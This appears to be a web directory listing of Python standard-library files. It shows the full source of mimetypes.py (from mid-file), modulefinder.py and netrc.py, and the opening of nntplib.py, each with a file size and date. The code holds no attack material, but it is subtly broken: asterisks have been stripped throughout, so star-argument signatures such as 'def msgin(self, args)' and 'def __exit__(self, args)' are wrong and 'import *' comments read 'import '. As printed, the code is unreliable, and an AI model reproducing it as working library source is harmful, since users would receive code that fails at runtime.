'.sh' : 'application/x-sh', '.shar' : 'application/x-shar', '.swf' : 'application/x-shockwave-flash', '.sv4cpio': 'application/x-sv4cpio', '.sv4crc' : 'application/x-sv4crc', '.tar' : 'application/x-tar', '.tcl' : 'application/x-tcl', '.tex' : 'application/x-tex', '.texi' : 'application/x-texinfo', '.texinfo': 'application/x-texinfo', '.roff' : 'application/x-troff', '.t' : 'application/x-troff', '.tr' : 'application/x-troff', '.man' : 'application/x-troff-man', '.me' : 'application/x-troff-me', '.ms' : 'application/x-troff-ms', '.ustar' : 'application/x-ustar', '.src' : 'application/x-wais-source', '.xsl' : 'application/xml', '.rdf' : 'application/xml', '.wsdl' : 'application/xml', '.xpdl' : 'application/xml', '.zip' : 'application/zip', '.au' : 'audio/basic', '.snd' : 'audio/basic', '.mp3' : 'audio/mpeg', '.mp2' : 'audio/mpeg', '.aif' : 'audio/x-aiff', '.aifc' : 'audio/x-aiff', '.aiff' : 'audio/x-aiff', '.ra' : 'audio/x-pn-realaudio', '.wav' : 'audio/x-wav', '.bmp' : 'image/bmp', '.gif' : 'image/gif', '.ief' : 'image/ief', '.jpg' : 'image/jpeg', '.jpe' : 'image/jpeg', '.jpeg' : 'image/jpeg', '.png' : 'image/png', '.svg' : 'image/svg+xml', '.tiff' : 'image/tiff', '.tif' : 'image/tiff', '.ico' : 'image/vnd.microsoft.icon', '.ras' : 'image/x-cmu-raster', '.bmp' : 'image/x-ms-bmp', '.pnm' : 'image/x-portable-anymap', '.pbm' : 'image/x-portable-bitmap', '.pgm' : 'image/x-portable-graymap', '.ppm' : 'image/x-portable-pixmap', '.rgb' : 'image/x-rgb', '.xbm' : 'image/x-xbitmap', '.xpm' : 'image/x-xpixmap', '.xwd' : 'image/x-xwindowdump', '.eml' : 'message/rfc822', '.mht' : 'message/rfc822', '.mhtml' : 'message/rfc822', '.nws' : 'message/rfc822', '.css' : 'text/css', '.csv' : 'text/csv', '.html' : 'text/html', '.htm' : 'text/html', '.txt' : 'text/plain', '.bat' : 'text/plain', '.c' : 'text/plain', '.h' : 'text/plain', '.ksh' : 'text/plain', '.pl' : 'text/plain', '.rtx' : 'text/richtext', '.tsv' : 'text/tab-separated-values', '.py' : 'text/x-python', '.etx' : 'text/x-setext', '.sgm' : 'text/x-sgml', '.sgml' : 'text/x-sgml', '.vcf' : 'text/x-vcard', '.xml' : 'text/xml', '.mp4' : 'video/mp4', '.mpeg' : 'video/mpeg', '.m1v' : 'video/mpeg', '.mpa' : 'video/mpeg', '.mpe' : 'video/mpeg', '.mpg' : 'video/mpeg', '.mov' : 'video/quicktime', '.qt' : 'video/quicktime', '.webm' : 'video/webm', '.avi' : 'video/x-msvideo', '.movie' : 'video/x-sgi-movie', } # These are non-standard types, commonly found in the wild. They will # only match if strict=0 flag is given to the API methods. # Please sort these too common_types = _common_types_default = { '.rtf' : 'application/rtf', '.midi': 'audio/midi', '.mid' : 'audio/midi', '.jpg' : 'image/jpg', '.pict': 'image/pict', '.pct' : 'image/pict', '.pic' : 'image/pict', '.xul' : 'text/xul', } _default_mime_types() if __name__ == '__main__': import getopt USAGE = """\ Usage: mimetypes.py [options] type Options: --help / -h -- print this message and exit --lenient / -l -- additionally search of some common, but non-standard types. --extension / -e -- guess extension instead of type More than one type argument may be given. """ def usage(code, msg=''): print(USAGE) if msg: print(msg) sys.exit(code) try: opts, args = getopt.getopt(sys.argv[1:], 'hle', ['help', 'lenient', 'extension']) except getopt.error as msg: usage(1, msg) strict = 1 extension = 0 for opt, arg in opts: if opt in ('-h', '--help'): usage(0) elif opt in ('-l', '--lenient'): strict = 0 elif opt in ('-e', '--extension'): extension = 1 for gtype in args: if extension: guess = guess_extension(gtype, strict) if not guess: print("I don't know anything about type", gtype) else: print(guess) else: guess, encoding = guess_type(gtype, strict) if not guess: print("I don't know anything about type", gtype) else: print('type:', guess, 'encoding:', encoding)	20.99 KB	2024-04-17 17:55
📄 modulefinder.py """Find modules used by a script, using introspection.""" import dis import importlib._bootstrap_external import importlib.machinery import marshal import os import sys import types import warnings with warnings.catch_warnings(): warnings.simplefilter('ignore', DeprecationWarning) import imp LOAD_CONST = dis.opmap['LOAD_CONST'] IMPORT_NAME = dis.opmap['IMPORT_NAME'] STORE_NAME = dis.opmap['STORE_NAME'] STORE_GLOBAL = dis.opmap['STORE_GLOBAL'] STORE_OPS = STORE_NAME, STORE_GLOBAL EXTENDED_ARG = dis.EXTENDED_ARG # Modulefinder does a good job at simulating Python's, but it can not # handle __path__ modifications packages make at runtime. Therefore there # is a mechanism whereby you can register extra paths in this map for a # package, and it will be honored. # Note this is a mapping is lists of paths. packagePathMap = {} # A Public interface def AddPackagePath(packagename, path): packagePathMap.setdefault(packagename, []).append(path) replacePackageMap = {} # This ReplacePackage mechanism allows modulefinder to work around # situations in which a package injects itself under the name # of another package into sys.modules at runtime by calling # ReplacePackage("real_package_name", "faked_package_name") # before running ModuleFinder. def ReplacePackage(oldname, newname): replacePackageMap[oldname] = newname class Module: def __init__(self, name, file=None, path=None): self.__name__ = name self.__file__ = file self.__path__ = path self.__code__ = None # The set of global names that are assigned to in the module. # This includes those names imported through starimports of # Python modules. self.globalnames = {} # The set of starimports this module did that could not be # resolved, ie. a starimport from a non-Python module. self.starimports = {} def __repr__(self): s = "Module(%r" % (self.__name__,) if self.__file__ is not None: s = s + ", %r" % (self.__file__,) if self.__path__ is not None: s = s + ", %r" % (self.__path__,) s = s + ")" return s class ModuleFinder: def __init__(self, path=None, debug=0, excludes=[], replace_paths=[]): if path is None: path = sys.path self.path = path self.modules = {} self.badmodules = {} self.debug = debug self.indent = 0 self.excludes = excludes self.replace_paths = replace_paths self.processed_paths = [] # Used in debugging only def msg(self, level, str, args): if level <= self.debug: for i in range(self.indent): print(" ", end=' ') print(str, end=' ') for arg in args: print(repr(arg), end=' ') print() def msgin(self, args): level = args[0] if level <= self.debug: self.indent = self.indent + 1 self.msg(args) def msgout(self, args): level = args[0] if level <= self.debug: self.indent = self.indent - 1 self.msg(args) def run_script(self, pathname): self.msg(2, "run_script", pathname) with open(pathname) as fp: stuff = ("", "r", imp.PY_SOURCE) self.load_module('__main__', fp, pathname, stuff) def load_file(self, pathname): dir, name = os.path.split(pathname) name, ext = os.path.splitext(name) with open(pathname) as fp: stuff = (ext, "r", imp.PY_SOURCE) self.load_module(name, fp, pathname, stuff) def import_hook(self, name, caller=None, fromlist=None, level=-1): self.msg(3, "import_hook", name, caller, fromlist, level) parent = self.determine_parent(caller, level=level) q, tail = self.find_head_package(parent, name) m = self.load_tail(q, tail) if not fromlist: return q if m.__path__: self.ensure_fromlist(m, fromlist) return None def determine_parent(self, caller, level=-1): self.msgin(4, "determine_parent", caller, level) if not caller or level == 0: self.msgout(4, "determine_parent -> None") return None pname = caller.__name__ if level >= 1: # relative import if caller.__path__: level -= 1 if level == 0: parent = self.modules[pname] assert parent is caller self.msgout(4, "determine_parent ->", parent) return parent if pname.count(".") < level: raise ImportError("relative importpath too deep") pname = ".".join(pname.split(".")[:-level]) parent = self.modules[pname] self.msgout(4, "determine_parent ->", parent) return parent if caller.__path__: parent = self.modules[pname] assert caller is parent self.msgout(4, "determine_parent ->", parent) return parent if '.' in pname: i = pname.rfind('.') pname = pname[:i] parent = self.modules[pname] assert parent.__name__ == pname self.msgout(4, "determine_parent ->", parent) return parent self.msgout(4, "determine_parent -> None") return None def find_head_package(self, parent, name): self.msgin(4, "find_head_package", parent, name) if '.' in name: i = name.find('.') head = name[:i] tail = name[i+1:] else: head = name tail = "" if parent: qname = "%s.%s" % (parent.__name__, head) else: qname = head q = self.import_module(head, qname, parent) if q: self.msgout(4, "find_head_package ->", (q, tail)) return q, tail if parent: qname = head parent = None q = self.import_module(head, qname, parent) if q: self.msgout(4, "find_head_package ->", (q, tail)) return q, tail self.msgout(4, "raise ImportError: No module named", qname) raise ImportError("No module named " + qname) def load_tail(self, q, tail): self.msgin(4, "load_tail", q, tail) m = q while tail: i = tail.find('.') if i < 0: i = len(tail) head, tail = tail[:i], tail[i+1:] mname = "%s.%s" % (m.__name__, head) m = self.import_module(head, mname, m) if not m: self.msgout(4, "raise ImportError: No module named", mname) raise ImportError("No module named " + mname) self.msgout(4, "load_tail ->", m) return m def ensure_fromlist(self, m, fromlist, recursive=0): self.msg(4, "ensure_fromlist", m, fromlist, recursive) for sub in fromlist: if sub == "": if not recursive: all = self.find_all_submodules(m) if all: self.ensure_fromlist(m, all, 1) elif not hasattr(m, sub): subname = "%s.%s" % (m.__name__, sub) submod = self.import_module(sub, subname, m) if not submod: raise ImportError("No module named " + subname) def find_all_submodules(self, m): if not m.__path__: return modules = {} # 'suffixes' used to be a list hardcoded to [".py", ".pyc"]. # But we must also collect Python extension modules - although # we cannot separate normal dlls from Python extensions. suffixes = [] suffixes += importlib.machinery.EXTENSION_SUFFIXES[:] suffixes += importlib.machinery.SOURCE_SUFFIXES[:] suffixes += importlib.machinery.BYTECODE_SUFFIXES[:] for dir in m.__path__: try: names = os.listdir(dir) except OSError: self.msg(2, "can't list directory", dir) continue for name in names: mod = None for suff in suffixes: n = len(suff) if name[-n:] == suff: mod = name[:-n] break if mod and mod != "__init__": modules[mod] = mod return modules.keys() def import_module(self, partname, fqname, parent): self.msgin(3, "import_module", partname, fqname, parent) try: m = self.modules[fqname] except KeyError: pass else: self.msgout(3, "import_module ->", m) return m if fqname in self.badmodules: self.msgout(3, "import_module -> None") return None if parent and parent.__path__ is None: self.msgout(3, "import_module -> None") return None try: fp, pathname, stuff = self.find_module(partname, parent and parent.__path__, parent) except ImportError: self.msgout(3, "import_module ->", None) return None try: m = self.load_module(fqname, fp, pathname, stuff) finally: if fp: fp.close() if parent: setattr(parent, partname, m) self.msgout(3, "import_module ->", m) return m def load_module(self, fqname, fp, pathname, file_info): suffix, mode, type = file_info self.msgin(2, "load_module", fqname, fp and "fp", pathname) if type == imp.PKG_DIRECTORY: m = self.load_package(fqname, pathname) self.msgout(2, "load_module ->", m) return m if type == imp.PY_SOURCE: co = compile(fp.read()+'\n', pathname, 'exec') elif type == imp.PY_COMPILED: try: data = fp.read() importlib._bootstrap_external._classify_pyc(data, fqname, {}) except ImportError as exc: self.msgout(2, "raise ImportError: " + str(exc), pathname) raise co = marshal.loads(memoryview(data)[16:]) else: co = None m = self.add_module(fqname) m.__file__ = pathname if co: if self.replace_paths: co = self.replace_paths_in_code(co) m.__code__ = co self.scan_code(co, m) self.msgout(2, "load_module ->", m) return m def _add_badmodule(self, name, caller): if name not in self.badmodules: self.badmodules[name] = {} if caller: self.badmodules[name][caller.__name__] = 1 else: self.badmodules[name]["-"] = 1 def _safe_import_hook(self, name, caller, fromlist, level=-1): # wrapper for self.import_hook() that won't raise ImportError if name in self.badmodules: self._add_badmodule(name, caller) return try: self.import_hook(name, caller, level=level) except ImportError as msg: self.msg(2, "ImportError:", str(msg)) self._add_badmodule(name, caller) else: if fromlist: for sub in fromlist: if sub in self.badmodules: self._add_badmodule(sub, caller) continue try: self.import_hook(name, caller, [sub], level=level) except ImportError as msg: self.msg(2, "ImportError:", str(msg)) fullname = name + "." + sub self._add_badmodule(fullname, caller) def scan_opcodes(self, co): # Scan the code, and yield 'interesting' opcode combinations code = co.co_code names = co.co_names consts = co.co_consts opargs = [(op, arg) for _, op, arg in dis._unpack_opargs(code) if op != EXTENDED_ARG] for i, (op, oparg) in enumerate(opargs): if op in STORE_OPS: yield "store", (names[oparg],) continue if (op == IMPORT_NAME and i >= 2 and opargs[i-1][0] == opargs[i-2][0] == LOAD_CONST): level = consts[opargs[i-2][1]] fromlist = consts[opargs[i-1][1]] if level == 0: # absolute import yield "absolute_import", (fromlist, names[oparg]) else: # relative import yield "relative_import", (level, fromlist, names[oparg]) continue def scan_code(self, co, m): code = co.co_code scanner = self.scan_opcodes for what, args in scanner(co): if what == "store": name, = args m.globalnames[name] = 1 elif what == "absolute_import": fromlist, name = args have_star = 0 if fromlist is not None: if "" in fromlist: have_star = 1 fromlist = [f for f in fromlist if f != ""] self._safe_import_hook(name, m, fromlist, level=0) if have_star: # We've encountered an "import ". If it is a Python module, # the code has already been parsed and we can suck out the # global names. mm = None if m.__path__: # At this point we don't know whether 'name' is a # submodule of 'm' or a global module. Let's just try # the full name first. mm = self.modules.get(m.__name__ + "." + name) if mm is None: mm = self.modules.get(name) if mm is not None: m.globalnames.update(mm.globalnames) m.starimports.update(mm.starimports) if mm.__code__ is None: m.starimports[name] = 1 else: m.starimports[name] = 1 elif what == "relative_import": level, fromlist, name = args if name: self._safe_import_hook(name, m, fromlist, level=level) else: parent = self.determine_parent(m, level=level) self._safe_import_hook(parent.__name__, None, fromlist, level=0) else: # We don't expect anything else from the generator. raise RuntimeError(what) for c in co.co_consts: if isinstance(c, type(co)): self.scan_code(c, m) def load_package(self, fqname, pathname): self.msgin(2, "load_package", fqname, pathname) newname = replacePackageMap.get(fqname) if newname: fqname = newname m = self.add_module(fqname) m.__file__ = pathname m.__path__ = [pathname] # As per comment at top of file, simulate runtime __path__ additions. m.__path__ = m.__path__ + packagePathMap.get(fqname, []) fp, buf, stuff = self.find_module("__init__", m.__path__) try: self.load_module(fqname, fp, buf, stuff) self.msgout(2, "load_package ->", m) return m finally: if fp: fp.close() def add_module(self, fqname): if fqname in self.modules: return self.modules[fqname] self.modules[fqname] = m = Module(fqname) return m def find_module(self, name, path, parent=None): if parent is not None: # assert path is not None fullname = parent.__name__+'.'+name else: fullname = name if fullname in self.excludes: self.msgout(3, "find_module -> Excluded", fullname) raise ImportError(name) if path is None: if name in sys.builtin_module_names: return (None, None, ("", "", imp.C_BUILTIN)) path = self.path return imp.find_module(name, path) def report(self): """Print a report to stdout, listing the found modules with their paths, as well as modules that are missing, or seem to be missing. """ print() print(" %-25s %s" % ("Name", "File")) print(" %-25s %s" % ("----", "----")) # Print modules found keys = sorted(self.modules.keys()) for key in keys: m = self.modules[key] if m.__path__: print("P", end=' ') else: print("m", end=' ') print("%-25s" % key, m.__file__ or "") # Print missing modules missing, maybe = self.any_missing_maybe() if missing: print() print("Missing modules:") for name in missing: mods = sorted(self.badmodules[name].keys()) print("?", name, "imported from", ', '.join(mods)) # Print modules that may be missing, but then again, maybe not... if maybe: print() print("Submodules that appear to be missing, but could also be", end=' ') print("global names in the parent package:") for name in maybe: mods = sorted(self.badmodules[name].keys()) print("?", name, "imported from", ', '.join(mods)) def any_missing(self): """Return a list of modules that appear to be missing. Use any_missing_maybe() if you want to know which modules are certain to be missing, and which may* be missing. """ missing, maybe = self.any_missing_maybe() return missing + maybe def any_missing_maybe(self): """Return two lists, one with modules that are certainly missing and one with modules that may be missing. The latter names could either be submodules or just global names in the package. The reason it can't always be determined is that it's impossible to tell which names are imported when "from module import " is done with an extension module, short of actually importing it. """ missing = [] maybe = [] for name in self.badmodules: if name in self.excludes: continue i = name.rfind(".") if i < 0: missing.append(name) continue subname = name[i+1:] pkgname = name[:i] pkg = self.modules.get(pkgname) if pkg is not None: if pkgname in self.badmodules[name]: # The package tried to import this module itself and # failed. It's definitely missing. missing.append(name) elif subname in pkg.globalnames: # It's a global in the package: definitely not missing. pass elif pkg.starimports: # It could be missing, but the package did an "import " # from a non-Python module, so we simply can't be sure. maybe.append(name) else: # It's not a global in the package, the package didn't # do funny star imports, it's very likely to be missing. # The symbol could be inserted into the package from the # outside, but since that's not good style we simply list # it missing. missing.append(name) else: missing.append(name) missing.sort() maybe.sort() return missing, maybe def replace_paths_in_code(self, co): new_filename = original_filename = os.path.normpath(co.co_filename) for f, r in self.replace_paths: if original_filename.startswith(f): new_filename = r + original_filename[len(f):] break if self.debug and original_filename not in self.processed_paths: if new_filename != original_filename: self.msgout(2, "co_filename %r changed to %r" \ % (original_filename,new_filename,)) else: self.msgout(2, "co_filename %r remains unchanged" \ % (original_filename,)) self.processed_paths.append(original_filename) consts = list(co.co_consts) for i in range(len(consts)): if isinstance(consts[i], type(co)): consts[i] = self.replace_paths_in_code(consts[i]) return types.CodeType(co.co_argcount, co.co_kwonlyargcount, co.co_nlocals, co.co_stacksize, co.co_flags, co.co_code, tuple(consts), co.co_names, co.co_varnames, new_filename, co.co_name, co.co_firstlineno, co.co_lnotab, co.co_freevars, co.co_cellvars) def test(): # Parse command line import getopt try: opts, args = getopt.getopt(sys.argv[1:], "dmp:qx:") except getopt.error as msg: print(msg) return # Process options debug = 1 domods = 0 addpath = [] exclude = [] for o, a in opts: if o == '-d': debug = debug + 1 if o == '-m': domods = 1 if o == '-p': addpath = addpath + a.split(os.pathsep) if o == '-q': debug = 0 if o == '-x': exclude.append(a) # Provide default arguments if not args: script = "hello.py" else: script = args[0] # Set the path based on sys.path and the script directory path = sys.path[:] path[0] = os.path.dirname(script) path = addpath + path if debug > 1: print("path:") for item in path: print(" ", repr(item)) # Create the module finder and turn its crank mf = ModuleFinder(path, debug, exclude) for arg in args[1:]: if arg == '-m': domods = 1 continue if domods: if arg[-2:] == '.': mf.import_hook(arg[:-2], None, [""]) else: mf.import_hook(arg) else: mf.load_file(arg) mf.run_script(script) mf.report() return mf # for -i debugging if __name__ == '__main__': try: mf = test() except KeyboardInterrupt: print("\n[interrupted]")	22.5 KB	2024-04-17 17:55
📁 multiprocessing	-	2025-10-13 08:00
📄 netrc.py """An object-oriented interface to .netrc files.""" # Module and documentation by Eric S. Raymond, 21 Dec 1998 import os, shlex, stat __all__ = ["netrc", "NetrcParseError"] class NetrcParseError(Exception): """Exception raised on syntax errors in the .netrc file.""" def __init__(self, msg, filename=None, lineno=None): self.filename = filename self.lineno = lineno self.msg = msg Exception.__init__(self, msg) def __str__(self): return "%s (%s, line %s)" % (self.msg, self.filename, self.lineno) class netrc: def __init__(self, file=None): default_netrc = file is None if file is None: file = os.path.join(os.path.expanduser("~"), ".netrc") self.hosts = {} self.macros = {} with open(file) as fp: self._parse(file, fp, default_netrc) def _parse(self, file, fp, default_netrc): lexer = shlex.shlex(fp) lexer.wordchars += r"""!"#$%&'()*+,-./:;<=>?@[\]^_`{\|}~""" lexer.commenters = lexer.commenters.replace('#', '') while 1: # Look for a machine, default, or macdef top-level keyword saved_lineno = lexer.lineno toplevel = tt = lexer.get_token() if not tt: break elif tt[0] == '#': if lexer.lineno == saved_lineno and len(tt) == 1: lexer.instream.readline() continue elif tt == 'machine': entryname = lexer.get_token() elif tt == 'default': entryname = 'default' elif tt == 'macdef': # Just skip to end of macdefs entryname = lexer.get_token() self.macros[entryname] = [] lexer.whitespace = ' \t' while 1: line = lexer.instream.readline() if not line or line == '\012': lexer.whitespace = ' \t\r\n' break self.macros[entryname].append(line) continue else: raise NetrcParseError( "bad toplevel token %r" % tt, file, lexer.lineno) # We're looking at start of an entry for a named machine or default. login = '' account = password = None self.hosts[entryname] = {} while 1: tt = lexer.get_token() if (tt.startswith('#') or tt in {'', 'machine', 'default', 'macdef'}): if password: self.hosts[entryname] = (login, account, password) lexer.push_token(tt) break else: raise NetrcParseError( "malformed %s entry %s terminated by %s" % (toplevel, entryname, repr(tt)), file, lexer.lineno) elif tt == 'login' or tt == 'user': login = lexer.get_token() elif tt == 'account': account = lexer.get_token() elif tt == 'password': if os.name == 'posix' and default_netrc: prop = os.fstat(fp.fileno()) if prop.st_uid != os.getuid(): import pwd try: fowner = pwd.getpwuid(prop.st_uid)[0] except KeyError: fowner = 'uid %s' % prop.st_uid try: user = pwd.getpwuid(os.getuid())[0] except KeyError: user = 'uid %s' % os.getuid() raise NetrcParseError( ("~/.netrc file owner (%s) does not match" " current user (%s)") % (fowner, user), file, lexer.lineno) if (prop.st_mode & (stat.S_IRWXG \| stat.S_IRWXO)): raise NetrcParseError( "~/.netrc access too permissive: access" " permissions must restrict access to only" " the owner", file, lexer.lineno) password = lexer.get_token() else: raise NetrcParseError("bad follower token %r" % tt, file, lexer.lineno) def authenticators(self, host): """Return a (user, account, password) tuple for given host.""" if host in self.hosts: return self.hosts[host] elif 'default' in self.hosts: return self.hosts['default'] else: return None def __repr__(self): """Dump the class data in the format of a .netrc file.""" rep = "" for host in self.hosts.keys(): attrs = self.hosts[host] rep += f"machine {host}\n\tlogin {attrs[0]}\n" if attrs[1]: rep += f"\taccount {attrs[1]}\n" rep += f"\tpassword {attrs[2]}\n" for macro in self.macros.keys(): rep += f"macdef {macro}\n" for line in self.macros[macro]: rep += line rep += "\n" return rep if __name__ == '__main__': print(netrc())	5.44 KB	2024-04-17 17:55
📄 nntplib.py """An NNTP client class based on: - RFC 977: Network News Transfer Protocol - RFC 2980: Common NNTP Extensions - RFC 3977: Network News Transfer Protocol (version 2) Example: >>> from nntplib import NNTP >>> s = NNTP('news') >>> resp, count, first, last, name = s.group('comp.lang.python') >>> print('Group', name, 'has', count, 'articles, range', first, 'to', last) Group comp.lang.python has 51 articles, range 5770 to 5821 >>> resp, subs = s.xhdr('subject', '{0}-{1}'.format(first, last)) >>> resp = s.quit() >>> Here 'resp' is the server response line. Error responses are turned into exceptions. To post an article from a file: >>> f = open(filename, 'rb') # file containing article, including header >>> resp = s.post(f) >>> For descriptions of all methods, read the comments in the code below. Note that all arguments and return values representing article numbers are strings, not numbers, since they are rarely used for calculations. """ # RFC 977 by Brian Kantor and Phil Lapsley. # xover, xgtitle, xpath, date methods by Kevan Heydon # Incompatible changes from the 2.x nntplib: # - all commands are encoded as UTF-8 data (using the "surrogateescape" # error handler), except for raw message data (POST, IHAVE) # - all responses are decoded as UTF-8 data (using the "surrogateescape" # error handler), except for raw message data (ARTICLE, HEAD, BODY) # - the `file` argument to various methods is keyword-only # # - NNTP.date() returns a datetime object # - NNTP.newgroups() and NNTP.newnews() take a datetime (or date) object, # rather than a pair of (date, time) strings. # - NNTP.newgroups() and NNTP.list() return a list of GroupInfo named tuples # - NNTP.descriptions() returns a dict mapping group names to descriptions # - NNTP.xover() returns a list of dicts mapping field names (header or metadata) # to field values; each dict representing a message overview. # - NNTP.article(), NNTP.head() and NNTP.body() return a (response, ArticleInfo) # tuple. # - the "internal" methods have been marked private (they now start with # an underscore) # Other changes from the 2.x/3.1 nntplib: # - automatic querying of capabilities at connect # - New method NNTP.getcapabilities() # - New method NNTP.over() # - New helper function decode_header() # - NNTP.post() and NNTP.ihave() accept file objects, bytes-like objects and # arbitrary iterables yielding lines. # - An extensive test suite :-) # TODO: # - return structured data (GroupInfo etc.) everywhere # - support HDR # Imports import re import socket import collections import datetime import warnings try: import ssl except ImportError: _have_ssl = False else: _have_ssl = True from email.header import decode_header as _email_decode_header from socket import _GLOBAL_DEFAULT_TIMEOUT __all__ = ["NNTP", "NNTPError", "NNTPReplyError", "NNTPTemporaryError", "NNTPPermanentError", "NNTPProtocolError", "NNTPDataError", "decode_header", ] # maximal line length when calling readline(). This is to prevent # reading arbitrary length lines. RFC 3977 limits NNTP line length to # 512 characters, including CRLF. We have selected 2048 just to be on # the safe side. _MAXLINE = 2048 # Exceptions raised when an error or invalid response is received class NNTPError(Exception): """Base class for all nntplib exceptions""" def __init__(self, args): Exception.__init__(self, args) try: self.response = args[0] except IndexError: self.response = 'No response given' class NNTPReplyError(NNTPError): """Unexpected [123]xx reply""" pass class NNTPTemporaryError(NNTPError): """4xx errors""" pass class NNTPPermanentError(NNTPError): """5xx errors""" pass class NNTPProtocolError(NNTPError): """Response does not begin with [1-5]""" pass class NNTPDataError(NNTPError): """Error in response data""" pass # Standard port used by NNTP servers NNTP_PORT = 119 NNTP_SSL_PORT = 563 # Response numbers that are followed by additional text (e.g. article) _LONGRESP = { '100', # HELP '101', # CAPABILITIES '211', # LISTGROUP (also not multi-line with GROUP) '215', # LIST '220', # ARTICLE '221', # HEAD, XHDR '222', # BODY '224', # OVER, XOVER '225', # HDR '230', # NEWNEWS '231', # NEWGROUPS '282', # XGTITLE } # Default decoded value for LIST OVERVIEW.FMT if not supported _DEFAULT_OVERVIEW_FMT = [ "subject", "from", "date", "message-id", "references", ":bytes", ":lines"] # Alternative names allowed in LIST OVERVIEW.FMT response _OVERVIEW_FMT_ALTERNATIVES = { 'bytes': ':bytes', 'lines': ':lines', } # Line terminators (we always output CRLF, but accept any of CRLF, CR, LF) _CRLF = b'\r\n' GroupInfo = collections.namedtuple('GroupInfo', ['group', 'last', 'first', 'flag']) ArticleInfo = collections.namedtuple('ArticleInfo', ['number', 'message_id', 'lines']) # Helper function(s) def decode_header(header_str): """Takes a unicode string representing a munged header value and decodes it as a (possibly non-ASCII) readable value.""" parts = [] for v, enc in _email_decode_header(header_str): if isinstance(v, bytes): parts.append(v.decode(enc or 'ascii')) else: parts.append(v) return ''.join(parts) def _parse_overview_fmt(lines): """Parse a list of string representing the response to LIST OVERVIEW.FMT and return a list of header/metadata names. Raises NNTPDataError if the response is not compliant (cf. RFC 3977, section 8.4).""" fmt = [] for line in lines: if line[0] == ':': # Metadata name (e.g. ":bytes") name, _, suffix = line[1:].partition(':') name = ':' + name else: # Header name (e.g. "Subject:" or "Xref:full") name, _, suffix = line.partition(':') name = name.lower() name = _OVERVIEW_FMT_ALTERNATIVES.get(name, name) # Should we do something with the suffix? fmt.append(name) defaults = _DEFAULT_OVERVIEW_FMT if len(fmt) < len(defaults): raise NNTPDataError("LIST OVERVIEW.FMT response too short") if fmt[:len(defaults)] != defaults: raise NNTPDataError("LIST OVERVIEW.FMT redefines default fields") return fmt def _parse_overview(lines, fmt, data_process_func=None): """Parse the response to an OVER or XOVER command according to the overview format `fmt`.""" n_defaults = len(_DEFAULT_OVERVIEW_FMT) overview = [] for line in lines: fields = {} article_number, tokens = line.split('\t') article_number = int(article_number) for i, token in enumerate(tokens): if i >= len(fmt): # XXX should we raise an error? Some servers might not # support LIST OVERVIEW.FMT and still return additional # headers. continue field_name = fmt[i] is_metadata = field_name.startswith(':') if i >= n_defaults and not is_metadata: # Non-default header names are included in full in the response # (unless the field is totally empty) h = field_name + ": " if token and token[:len(h)].lower() != h: raise NNTPDataError("OVER/XOVER response doesn't include " "names of additional headers") token = token[len(h):] if token else None fields[fmt[i]] = token overview.append((article_number, fields)) return overview def _parse_datetime(date_str, time_str=None): """Parse a pair of (date, time) strings, and return a datetime object. If only the date is given, it is assumed to be date and time concatenated together (e.g. response to the DATE command). """ if time_str is None: time_str = date_str[-6:] date_str = date_str[:-6] hours = int(time_str[:2]) minutes = int(time_str[2:4]) seconds = int(time_str[4:]) year = int(date_str[:-4]) month = int(date_str[-4:-2]) day = int(date_str[-2:]) # RFC 3977 doesn't say how to interpret 2-char years. Assume that # there are no dates before 1970 on Usenet. if year < 70: year += 2000 elif year < 100: year += 1900 return datetime.datetime(year, month, day, hours, minutes, seconds) def _unparse_datetime(dt, legacy=False): """Format a date or datetime object as a pair of (date, time) strings in the format required by the NEWNEWS and NEWGROUPS commands. If a date object is passed, the time is assumed to be midnight (00h00). The returned representation depends on the legacy flag: if legacy is False (the default): date has the YYYYMMDD format and time the HHMMSS format * if legacy is True: date has the YYMMDD format and time the HHMMSS format. RFC 3977 compliant servers should understand both formats; therefore, legacy is only needed when talking to old servers. """ if not isinstance(dt, datetime.datetime): time_str = "000000" else: time_str = "{0.hour:02d}{0.minute:02d}{0.second:02d}".format(dt) y = dt.year if legacy: y = y % 100 date_str = "{0:02d}{1.month:02d}{1.day:02d}".format(y, dt) else: date_str = "{0:04d}{1.month:02d}{1.day:02d}".format(y, dt) return date_str, time_str if _have_ssl: def _encrypt_on(sock, context, hostname): """Wrap a socket in SSL/TLS. Arguments: - sock: Socket to wrap - context: SSL context to use for the encrypted connection Returns: - sock: New, encrypted socket. """ # Generate a default SSL context if none was passed. if context is None: context = ssl._create_stdlib_context() return context.wrap_socket(sock, server_hostname=hostname) # The classes themselves class _NNTPBase: # UTF-8 is the character set for all NNTP commands and responses: they # are automatically encoded (when sending) and decoded (and receiving) # by this class. # However, some multi-line data blocks can contain arbitrary bytes (for # example, latin-1 or utf-16 data in the body of a message). Commands # taking (POST, IHAVE) or returning (HEAD, BODY, ARTICLE) raw message # data will therefore only accept and produce bytes objects. # Furthermore, since there could be non-compliant servers out there, # we use 'surrogateescape' as the error handler for fault tolerance # and easy round-tripping. This could be useful for some applications # (e.g. NNTP gateways). encoding = 'utf-8' errors = 'surrogateescape' def __init__(self, file, host, readermode=None, timeout=_GLOBAL_DEFAULT_TIMEOUT): """Initialize an instance. Arguments: - file: file-like object (open for read/write in binary mode) - host: hostname of the server - readermode: if true, send 'mode reader' command after connecting. - timeout: timeout (in seconds) used for socket connections readermode is sometimes necessary if you are connecting to an NNTP server on the local machine and intend to call reader-specific commands, such as `group'. If you get unexpected NNTPPermanentErrors, you might need to set readermode. """ self.host = host self.file = file self.debugging = 0 self.welcome = self._getresp() # Inquire about capabilities (RFC 3977). self._caps = None self.getcapabilities() # 'MODE READER' is sometimes necessary to enable 'reader' mode. # However, the order in which 'MODE READER' and 'AUTHINFO' need to # arrive differs between some NNTP servers. If _setreadermode() fails # with an authorization failed error, it will set this to True; # the login() routine will interpret that as a request to try again # after performing its normal function. # Enable only if we're not already in READER mode anyway. self.readermode_afterauth = False if readermode and 'READER' not in self._caps: self._setreadermode() if not self.readermode_afterauth: # Capabilities might have changed after MODE READER self._caps = None self.getcapabilities() # RFC 4642 2.2.2: Both the client and the server MUST know if there is # a TLS session active. A client MUST NOT attempt to start a TLS # session if a TLS session is already active. self.tls_on = False # Log in and encryption setup order is left to subclasses. self.authenticated = False def __enter__(self): return self def __exit__(self, args): is_connected = lambda: hasattr(self, "file") if is_connected(): try: self.quit() except (OSError, EOFError): pass finally: if is_connected(): self._close() def getwelcome(self): """Get the welcome message from the server (this is read and squirreled away by __init__()). If the response code is 200, posting is allowed; if it 201, posting is not allowed.""" if self.debugging: print('welcome', repr(self.welcome)) return self.welcome def getcapabilities(self): """Get the server capabilities, as read by __init__(). If the CAPABILITIES command is not supported, an empty dict is returned.""" if self._caps is None: 